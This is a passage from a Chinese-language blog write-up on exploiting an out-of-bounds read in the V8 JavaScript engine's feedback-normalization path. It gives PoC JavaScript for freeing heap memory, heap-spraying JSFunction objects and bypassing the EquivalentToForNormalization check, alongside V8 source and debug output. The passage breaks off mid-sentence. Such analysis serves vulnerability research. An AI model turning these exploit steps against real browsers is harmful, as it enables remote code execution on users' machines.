也就是说要求<code>Object</code>的构造方法具有一个原型slot</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">DEF_GETTER</span>(<span class="params">JSFunction, initial_map, Tagged&lt;<span class="built_in">Map</span>&gt;</span>) &#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="title class_">Map</span>::<span class="title function_">cast</span>(<span class="title function_">prototype_or_initial_map</span>(cage_base, kAcquireLoad));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_">RELEASE_ACQUIRE_ACCESSORS_CHECKED</span>(<span class="title class_">JSFunction</span>, prototype_or_initial_map,</span><br><span class="line">                                  <span class="title class_">Tagged</span>&lt;<span class="title class_">HeapObject</span>&gt;,</span><br><span class="line">                                  kPrototypeOrInitialMapOffset,</span><br><span class="line">                                  <span class="title function_">map</span>()-&gt;<span class="title function_">has_prototype_slot</span>())</span><br></pre></td></tr></table></figure><p><code>JSFunction</code>的定义如下, 根据注释可知, <code>JSFunction</code>的<code>prototype_or_initial_map</code>字段是可能不分配的, <code>map()-&gt;has_prototype_slot()</code>就表示是否分配了该字段</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// This class does not use the generated verifier, so if you change anything</span></span><br><span class="line"><span class="comment">// here, please also update JSFunctionVerify in objects-debug.cc.</span></span><br><span class="line">@highestInstanceTypeWithinParentClassRange</span><br><span class="line">extern <span class="keyword">class</span> <span class="title class_">JSFunction</span> <span class="keyword">extends</span> <span class="title class_ inherited__">JSFunctionOrBoundFunctionOrWrappedFunction</span> &#123;</span><br><span class="line">  <span class="comment">// When the sandbox is enabled, the Code object is referenced through an</span></span><br><span class="line">  <span class="comment">// indirect pointer. Otherwise, it is a regular tagged pointer.</span></span><br><span class="line">  @<span class="keyword">if</span>(<span class="variable constant_">V8_ENABLE_SANDBOX</span>) <span class="attr">code</span>: <span class="title class_">IndirectPointer</span>&lt;<span class="title class_">Code</span>&gt;;</span><br><span class="line">  @<span class="title function_">ifnot</span>(<span class="variable constant_">V8_ENABLE_SANDBOX</span>) <span class="attr">code</span>: <span class="title class_">Code</span>;</span><br><span class="line">  <span class="attr">shared_function_info</span>: <span class="title class_">SharedFunctionInfo</span>;</span><br><span class="line">  <span class="attr">context</span>: <span class="title class_">Context</span>;</span><br><span class="line">  <span class="attr">feedback_cell</span>: <span class="title class_">FeedbackCell</span>;</span><br><span class="line">  <span class="comment">// Space for the following field may or may not be allocated.</span></span><br><span class="line">  <span class="attr">prototype_or_initial_map</span>: <span class="title class_">JSReceiver</span>|<span class="title class_">Map</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>总结:</p><ul><li><code>JSFunction::prototype_or_initial_map</code>是有可能不分配的, <code>JSFunction::map::has_prototype_slot</code>就表示该字段是否分配了</li><li>这部分代码假设了: <strong>如果一个对象具有JSFunction类型的构造方法, 那么该构造方法对象一定具有initial_map字段</strong></li><li><code>Object</code>对象的构造方法打破了这个假设, <code>job(Object)-&gt;map-&gt;constructor</code>是一个<code>JSFunction</code>类型的对象, 但是该对象并没有<code>prototype_or_initial_map</code>字段, 尽管他是<code>Object</code>的构造方法</li></ul><h2 id="3-漏洞利用"><a class="markdownIt-Anchor" href="#3-漏洞利用"></a> 3. 漏洞利用</h2><p>针对这个越界读的漏洞, 需要思考下列问题:</p><ul><li>能否控制越界读到的内容</li><li>能否控制进行越界的对象, 也就是改变越解读的位置</li><li>这个越界读的后果</li><li>先研究一下<code>Object</code>与<code>job(Object)-&gt;map-&gt;constructor</code>的来源, 也就是他们是怎么被分配的</li></ul><h3 id="31-控制constructor后面的对象"><a class="markdownIt-Anchor" href="#31-控制constructor后面的对象"></a> 3.1 控制constructor后面的对象</h3><p><code>job(Object)-&gt;map-&gt;constructor</code>后面的对象如下, 似乎不是随机的, 研究下这个对象是怎么申请出来的, 能否释放掉</p><!-- ![image](v8_feedback_normalization_RCE/a3.png) --><img src="/v8_feedback_normalization_RCE/a3.png" class="" title="a3.png"><p>后面的对象的地址为<code>0x328a00141e65</code>, 发现<code>job(Object)-&gt;map-&gt;constructor</code>后面就是<code>job(Object)-&gt;map-&gt;constructor-&gt;properties</code></p><!-- ![image](v8_feedback_normalization_RCE/a4.png) --><img src="/v8_feedback_normalization_RCE/a4.png" class="" title="a4.png"><p>内存布局如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">                                  ----------------  -------------</span><br><span class="line"><span class="built_in">job</span>(Object)-&gt;map-&gt;constructor =&gt; |    map         |      ^</span><br><span class="line">                                  ----------------       |</span><br><span class="line">                        ---------|   properties   |      |</span><br><span class="line">                        |         ----------------       |</span><br><span class="line">                        |        |    elements    |   </span><br><span class="line">                        |         ----------------      JSFunction</span><br><span class="line">                        |        |    code        |   </span><br><span class="line">                        |         ----------------       |</span><br><span class="line">                        |        |  shared_info   |      |</span><br><span class="line">                        |         ----------------       |</span><br><span class="line">                        |        |    context     |      |</span><br><span class="line">                        |         ----------------       |</span><br><span class="line">                        |        |  feedback_cell |      V</span><br><span class="line">                        |         ----------------  ---------------</span><br><span class="line">                        L-------&gt;|    map         |      ^   &lt;==== Overflow, treat as prototype_or_initial_map</span><br><span class="line">                                  ----------------       |</span><br><span class="line">                                 |    length      |      |</span><br><span class="line">                                  ----------------   </span><br><span class="line">                                 |    <span class="string">&quot;Function&quot;</span>  |   PropertyArray</span><br><span class="line">                                  ----------------  </span><br><span class="line">                                 |    <span class="string">&quot;apply&quot;</span>     |      |</span><br><span class="line">                                  ----------------       |</span><br><span class="line">                                 |    ....        |      V</span><br></pre></td></tr></table></figure><p>所以只要修改<code>job(Object)-&gt;map-&gt;constructor</code>中的属性, 使得<code>job(Object)-&gt;map-&gt;constructor-&gt;properties</code>需要重新申请, 那么后面的<code>PropertyArray</code>对象自然就没用了, 就会被释放掉</p><p>POC如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">let obj = Object;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;constructor-&gt;properties被弃用</span></span><br><span class="line"><span class="comment">// 为job(Object)-&gt;map-&gt;constructor后面的越界读腾出空间</span></span><br><span class="line">Object.__proto__[<span class="string">&quot;aaa&quot;</span>] = <span class="number">123</span>;</span><br><span class="line"><span class="built_in">gc</span>();</span><br></pre></td></tr></table></figure><p>这样就会使得后面变成表示空闲空间的<code>FreeSpace</code>对象</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="keyword">class</span> <span class="title class_">FreeSpace</span> extends HeapObject &#123;</span><br><span class="line">  size: Smi;    <span class="comment">// 空闲空间大小, 包含map, size, next等字段</span></span><br><span class="line">  next: FreeSpace|Smi|Uninitialized;    <span class="comment">// 下一个空闲对象的地址</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>gc()</code>之后如下</p><!-- ![image](v8_feedback_normalization_RCE/a5.png) --><img src="/v8_feedback_normalization_RCE/a5.png" class="" title="a5.png"><p>之后通过堆喷就可以在<code>job(Object)-&gt;map-&gt;constructor</code>后面放置任意js对象</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> obj = <span class="title class_">Object</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;constructor-&gt;properties被弃用</span></span><br><span class="line"><span class="comment">// 为job(Object)-&gt;map-&gt;constructor后面的越界读腾出32B空闲空间</span></span><br><span class="line"><span class="title class_">Object</span>.<span class="property">__proto__</span>[<span class="string">&quot;aaa&quot;</span>] = <span class="number">123</span>;</span><br><span class="line"><span class="title function_">gc</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// %DebugPrint(&#123;a:1, b:2, c:3, d:4, e:5&#125;);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">function</span> <span class="title function_">heap_spray</span>(<span class="params"></span>)&#123;</span><br><span class="line">    <span class="keyword">let</span> arr = [];</span><br><span class="line">    <span class="keyword">for</span>(<span class="keyword">let</span> i=<span class="number">0</span>; i&lt;<span class="number">300000</span>; i++) &#123;</span><br><span class="line">        <span class="comment">// print(&quot;============&gt; &quot; + i);</span></span><br><span class="line">        <span class="keyword">let</span> o = &#123;<span class="attr">a</span>:<span class="number">1</span>, <span class="attr">b</span>:<span class="number">2</span>, <span class="attr">c</span>:<span class="number">3</span>, <span class="attr">d</span>:<span class="number">4</span>, <span class="attr">e</span>:i&#125;;</span><br><span class="line">        arr.<span class="title function_">push</span>(o);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_">heap_spray</span>();</span><br><span class="line"></span><br><span class="line">%<span class="title class_">DebugPrint</span>(<span class="title class_">Object</span>.<span class="property">__proto__</span>);</span><br><span class="line">%<span class="title class_">SystemBreak</span>();</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="32-elements_kind混淆"><a class="markdownIt-Anchor" href="#32-elements_kind混淆"></a> 3.2 elements_kind混淆</h3><p>下面需要思考控制了之后能达到什么效果?</p><p>越界读<code>initial_map</code>后的相关操作如下</p><ul><li>根据<code>initial_map</code>进行<code>Normalize()</code>, 也就是根据<code>initial_map</code>生成表示dictionary的map</li><li><code>initial_map</code>相关的map transition都弃用并进行反优化</li><li>调用<code>EquivalentToForNormalization()</code>, 如果基于initial_map Normalize()的结果与map并不等价, 那么就会基于map进行Normalize, 此时map就相当于失效了</li></ul><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">Handle&lt;Map&gt; <span class="title">Map::TransitionToDataProperty</span><span class="params">(Isolate* isolate, Handle&lt;Map&gt; map,</span></span></span><br><span class="line"><span class="params"><span class="function">                                          Handle&lt;Name&gt; name,</span></span></span><br><span class="line"><span class="params"><span class="function">                                          Handle&lt;Object&gt; value,</span></span></span><br><span class="line"><span class="params"><span class="function">                                          PropertyAttributes attributes,</span></span></span><br><span class="line"><span class="params"><span class="function">                                          PropertyConstness constness,</span></span></span><br><span class="line"><span class="params"><span class="function">                                          StoreOrigin store_origin)</span> </span>&#123;</span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  Handle&lt;Map&gt; result;    <span class="comment">// 添加数据属性后的新map</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!maybe_map.<span class="built_in">ToHandle</span>(&amp;result)) &#123;    <span class="comment">// maybe_map为空的</span></span><br><span class="line">    <span class="function">Handle&lt;Object&gt; <span class="title">maybe_constructor</span><span class="params">(map-&gt;GetConstructor(), isolate)</span></span>;    <span class="comment">// 获取对象的构造方法</span></span><br><span class="line">    <span class="keyword">if</span> (v8_flags.feedback_normalization &amp;&amp; <span class="comment">// feedback_normalization表示反馈对象隐式类被normalization这一信息</span></span><br><span class="line">        map-&gt;<span class="built_in">new_target_is_base</span>() &amp;&amp;</span><br><span class="line">        <span class="built_in">IsJSFunction</span>(*maybe_constructor) &amp;&amp;    <span class="comment">// 构造方法是一个普通的JS方法</span></span><br><span class="line">        !JSFunction::<span class="built_in">cast</span>(*maybe_constructor)-&gt;<span class="built_in">shared</span>()-&gt;<span class="built_in">native</span>()) &#123;</span><br><span class="line">      <span class="comment">// 获取构造方法的JSFunction对象</span></span><br><span class="line">      Handle&lt;JSFunction&gt; constructor = Handle&lt;JSFunction&gt;::<span class="built_in">cast</span>(maybe_constructor); </span><br><span class="line">      <span class="comment">// initial_map表示new constructor时的初始隐式类</span></span><br><span class="line">      <span class="function">Handle&lt;Map&gt; <span class="title">initial_map</span><span class="params">(constructor-&gt;initial_map(), isolate)</span></span>;    <span class="comment">// &lt;===这里获取initial_map()时报错</span></span><br><span class="line">      <span class="comment">// 根据initial_map生成`DictionaryProperties`类型的隐式类</span></span><br><span class="line">      result = Map::<span class="built_in">Normalize</span>(isolate, initial_map, CLEAR_INOBJECT_PROPERTIES, reason);</span><br><span class="line">      <span class="comment">// 原来从initial_map起始的隐式类全部被弃用</span></span><br><span class="line">      initial_map-&gt;<span class="built_in">DeprecateTransitionTree</span>(isolate);</span><br><span class="line">      <span class="comment">// result作为新的initial_map</span></span><br><span class="line">      <span class="function">Handle&lt;HeapObject&gt; <span class="title">prototype</span><span class="params">(result-&gt;prototype(), isolate)</span></span>;</span><br><span class="line">      JSFunction::<span class="built_in">SetInitialMap</span>(isolate, constructor, result, prototype);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 所有依赖原先initial_map的都进行反优化</span></span><br><span class="line">      DependentCode::<span class="built_in">DeoptimizeDependencyGroups</span>(isolate, *initial_map, DependentCode::kInitialMapChangedGroup);</span><br><span class="line"></span><br><span class="line">      <span class="comment">// 如果基于initial_map Normalize()的结果与map并不等价, 那么就会基于map进行Normalize</span></span><br><span class="line">      <span class="keyword">if</span> (!result-&gt;<span class="built_in">EquivalentToForNormalization</span>(*map, CLEAR_INOBJECT_PROPERTIES)) &#123; </span><br><span class="line">        result = Map::<span class="built_in">Normalize</span>(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      result = Map::<span class="built_in">Normalize</span>(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="321-绕过equivalenttofornormalization的检查"><a class="markdownIt-Anchor" href="#321-绕过equivalenttofornormalization的检查"></a> 3.2.1 绕过<code>EquivalentToForNormalization()</code>的检查</h4><p>下一步就是要绕过<code>EquivalentToForNormalization()</code>的检查, 否则就不会使用我们堆喷对象的隐式类</p><p>判断逻辑如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">bool</span> <span class="title">Map::EquivalentToForNormalization</span><span class="params">(<span class="type">const</span> Tagged&lt;Map&gt; other, PropertyNormalizationMode mode)</span> <span class="type">const</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">EquivalentToForNormalization</span>(other, <span class="built_in">elements_kind</span>(), <span class="built_in">prototype</span>(), mode);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">bool</span> <span class="title">Map::EquivalentToForNormalization</span><span class="params">(<span class="type">const</span> Tagged&lt;Map&gt; other,</span></span></span><br><span class="line"><span class="params"><span class="function">                                       ElementsKind elements_kind,</span></span></span><br><span class="line"><span class="params"><span class="function">                                       Tagged&lt;HeapObject&gt; other_prototype,</span></span></span><br><span class="line"><span class="params"><span class="function">                                       PropertyNormalizationMode mode)</span> <span class="type">const</span> </span>&#123;</span><br><span class="line">  <span class="type">int</span> properties = mode == CLEAR_INOBJECT_PROPERTIES ? <span class="number">0</span> : other-&gt;<span class="built_in">GetInObjectProperties</span>();</span><br><span class="line"></span><br><span class="line">  <span class="type">int</span> adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::<span class="built_in">update</span>(other-&gt;<span class="built_in">bit_field2</span>(), elements_kind);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">CheckEquivalentModuloProto</span>(*<span class="keyword">this</span>, other) &amp;&amp;</span><br><span class="line">         <span class="built_in">prototype</span>() == other_prototype &amp;&amp;</span><br><span class="line">         <span class="built_in">bit_field2</span>() == adjusted_other_bit_field2 &amp;&amp;</span><br><span class="line">         <span class="built_in">GetInObjectProperties</span>() == properties &amp;&amp;</span><br><span class="line">         JSObject::<span class="built_in">GetEmbedderFieldCount</span>(*<span class="keyword">this</span>) ==</span><br><span class="line">             JSObject::<span class="built_in">GetEmbedderFieldCount</span>(other);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调试发现只需要满足<code>CheckEquivalentModuloProto(*this, other)</code>即可</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">CheckEquivalentModuloProto</span>(*<span class="keyword">this</span>, other): <span class="number">0</span></span><br><span class="line"><span class="built_in">prototype</span>() == other_prototype: <span class="number">1</span></span><br><span class="line"><span class="built_in">bit_field2</span>() == adjusted_other_bit_field2: <span class="number">1</span></span><br><span class="line"><span class="built_in">GetInObjectProperties</span>() == properties: <span class="number">1</span></span><br><span class="line">JSObject::<span class="built_in">GetEmbedderFieldCount</span>(*<span class="keyword">this</span>) == JSObject::<span class="built_in">GetEmbedderFieldCount</span>(other): <span class="number">1</span></span><br></pre></td></tr></table></figure><p><code>CheckEquivalentModuloProto()</code>的判断逻辑如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">bool</span> <span class="title">CheckEquivalentModuloProto</span><span class="params">(<span class="type">const</span> Tagged&lt;Map&gt; first,</span></span></span><br><span class="line"><span class="params"><span class="function">                                <span class="type">const</span> Tagged&lt;Map&gt; second)</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> first-&gt;<span class="built_in">GetConstructorRaw</span>() == second-&gt;<span class="built_in">GetConstructorRaw</span>() &amp;&amp;</span><br><span class="line">         first-&gt;<span class="built_in">instance_type</span>() == second-&gt;<span class="built_in">instance_type</span>() &amp;&amp;</span><br><span class="line">         first-&gt;<span class="built_in">bit_field</span>() == second-&gt;<span class="built_in">bit_field</span>() &amp;&amp;</span><br><span class="line">         first-&gt;<span class="built_in">is_extensible</span>() == second-&gt;<span class="built_in">is_extensible</span>() &amp;&amp;</span><br><span class="line">         first-&gt;<span class="built_in">new_target_is_base</span>() == second-&gt;<span class="built_in">new_target_is_base</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>调试发现</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">first-&gt;<span class="built_in">GetConstructorRaw</span>() == second-&gt;<span class="built_in">GetConstructorRaw</span>(): <span class="number">1</span></span><br><span class="line">first-&gt;<span class="built_in">instance_type</span>() == second-&gt;<span class="built_in">instance_type</span>(): <span class="number">0</span></span><br><span class="line">first-&gt;<span class="built_in">bit_field</span>() == second-&gt;<span class="built_in">bit_field</span>(): <span class="number">0</span></span><br><span class="line">first-&gt;<span class="built_in">is_extensible</span>() == second-&gt;<span class="built_in">is_extensible</span>(): <span class="number">1</span></span><br><span class="line">first-&gt;<span class="built_in">new_target_is_base</span>() == second-&gt;<span class="built_in">new_target_is_base</span>(): <span class="number">1</span></span><br></pre></td></tr></table></figure><p>对比<code>Normailize(job(o)-&gt;map)</code>的结果和原来的<code>map</code>, 如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x26ce01e00049</span>: [Map] in OldSpace</span><br><span class="line"> - map: <span class="number">0x26ce00141759</span> &lt;<span class="built_in">MetaMap</span> (<span class="number">0x26ce001417a9</span> &lt;NativeContext[<span class="number">295</span>]&gt;)&gt;</span><br><span class="line"> - type: JS_OBJECT_TYPE</span><br><span class="line"> - instance size: <span class="number">12</span></span><br><span class="line"> - inobject properties: <span class="number">0</span></span><br><span class="line"> - unused property fields: <span class="number">0</span></span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - <span class="keyword">enum</span> <span class="title class_">length</span>: invalid</span><br><span class="line"> - dictionary_map</span><br><span class="line"> - may_have_interesting_properties</span><br><span class="line"> - back pointer: <span class="number">0x26ce00000069</span> &lt;undefined&gt;</span><br><span class="line"> - prototype_validity cell: <span class="number">0x26ce00000a89</span> &lt;Cell value= <span class="number">1</span>&gt;</span><br><span class="line"> - instance <span class="built_in">descriptors</span> (own) #<span class="number">0</span>: <span class="number">0x26ce00000759</span> &lt;DescriptorArray[<span class="number">0</span>]&gt;</span><br><span class="line"> - prototype: <span class="number">0x26ce00142669</span> &lt;Object map = <span class="number">0x26ce00141ca5</span>&gt;</span><br><span class="line"> - constructor: <span class="number">0x26ce001421ad</span> &lt;JSFunction <span class="built_in">Object</span> (sfi = <span class="number">0x26ce003140a5</span>)&gt;</span><br><span class="line"> - dependent code: <span class="number">0x26ce00000735</span> &lt;Other heap <span class="built_in">object</span> (WEAK_ARRAY_LIST_TYPE)&gt;</span><br><span class="line"> - construction counter: <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="number">0x26ce01e00011</span>: [Map] in OldSpace</span><br><span class="line"> - map: <span class="number">0x26ce00141759</span> &lt;<span class="built_in">MetaMap</span> (<span class="number">0x26ce001417a9</span> &lt;NativeContext[<span class="number">295</span>]&gt;)&gt;</span><br><span class="line"> - type: JS_FUNCTION_TYPE</span><br><span class="line"> - instance size: <span class="number">32</span></span><br><span class="line"> - inobject properties: <span class="number">0</span></span><br><span class="line"> - unused property fields: <span class="number">0</span></span><br><span class="line"> - elements kind: HOLEY_ELEMENTS</span><br><span class="line"> - <span class="keyword">enum</span> length: invalid</span><br><span class="line"> - stable_map</span><br><span class="line"> - callable</span><br><span class="line"> - constructor</span><br><span class="line"> - has_prototype_slot</span><br><span class="line"> - back pointer: <span class="number">0x26ce00156f41</span> &lt;Map[<span class="number">32</span>](HOLEY_ELEMENTS)&gt;</span><br><span class="line"> - prototype_validity cell: <span class="number">0x26ce00158619</span> &lt;Cell value= <span class="number">0</span>&gt;</span><br><span class="line"> - instance <span class="built_in">descriptors</span> (own) #<span class="number">27</span>: <span class="number">0x26ce00c70cd1</span> &lt;DescriptorArray[<span class="number">27</span>]&gt;</span><br><span class="line"> - prototype: <span class="number">0x26ce00141e49</span> &lt;<span class="built_in">JSFunction</span> (sfi = <span class="number">0x26ce000c74b5</span>)&gt;</span><br><span class="line"> - constructor: <span class="number">0x26ce00141e49</span> &lt;<span class="built_in">JSFunction</span> (sfi = <span class="number">0x26ce000c74b5</span>)&gt;</span><br><span class="line"> - dependent code: <span class="number">0x26ce00000735</span> &lt;Other heap <span class="built_in">object</span> (WEAK_ARRAY_LIST_TYPE)&gt;</span><br><span class="line"> - construction counter: <span class="number">0</span></span><br></pre></td></tr></table></figure><p>为了让<code>type</code>都是<code>JS_FUNCTION_TYPE</code>, 因此需要堆喷JSFunction对象, <code>JSFunction</code>对象刚好0x20大小, poc如下, 就可以绕过<code>EquivalentToForNormalization()</code>的判断</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">let obj = Object;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使得job(Object)-&gt;map-&gt;constructor-&gt;properties被弃用</span></span><br><span class="line"><span class="comment">// 为job(Object)-&gt;map-&gt;constructor后面的越界读腾出32B空闲空间</span></span><br><span class="line">Object.__proto__[<span class="string">&quot;aaa&quot;</span>] = <span class="number">123</span>;</span><br><span class="line"><span class="built_in">gc</span>();</span><br><span class="line"></span><br><span class="line">let arr = [];</span><br><span class="line"><span class="function">function <span class="title">heap_spray</span><span class="params">()</span></span>&#123;</span><br><span class="line">    <span class="keyword">for</span>(let i=<span class="number">0</span>; i&lt;<span class="number">300000</span>; i++) &#123;</span><br><span class="line">        <span class="comment">// print(&quot;============&gt; &quot; + i);</span></span><br><span class="line">        let o = <span class="built_in">function</span> ()&#123;&#125;;</span><br><span class="line">        <span class="comment">/* </span></span><br><span class="line"><span class="comment">        添加一个SMI属性, 为了绕过:</span></span><br><span class="line"><span class="comment">            # Fatal error in ../../src/objects/map.cc, line 598</span></span><br><span class="line"><span class="comment">            # Debug check failed: CanBeDeprecated().</span></span><br><span class="line"><span class="comment">        */</span></span><br><span class="line">        o[<span class="string">&quot;CanBeDeprecated&quot;</span>] = <span class="number">1</span>;</span><br><span class="line">        arr.<span class="built_in">push</span>(o);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">heap_spray</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// %DebugPrint(Object.__proto__);</span></span><br><span class="line"><span class="comment">// %SystemBreak();</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (let i = <span class="number">0</span>; i &lt; <span class="number">3</span>; i++) &#123;</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;============&gt; &quot;</span> + i);</span><br><span class="line">    obj[<span class="string">&quot;p&quot;</span> + i] = i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// %DebugPrint(obj);</span></span><br><span class="line">%<span class="built_in">SystemBreak</span>();</span><br></pre></td></tr></table></figure><p>对比<code>Normailize(job(o)-&gt;map)</code>的结果和原来的<code>map</code>, 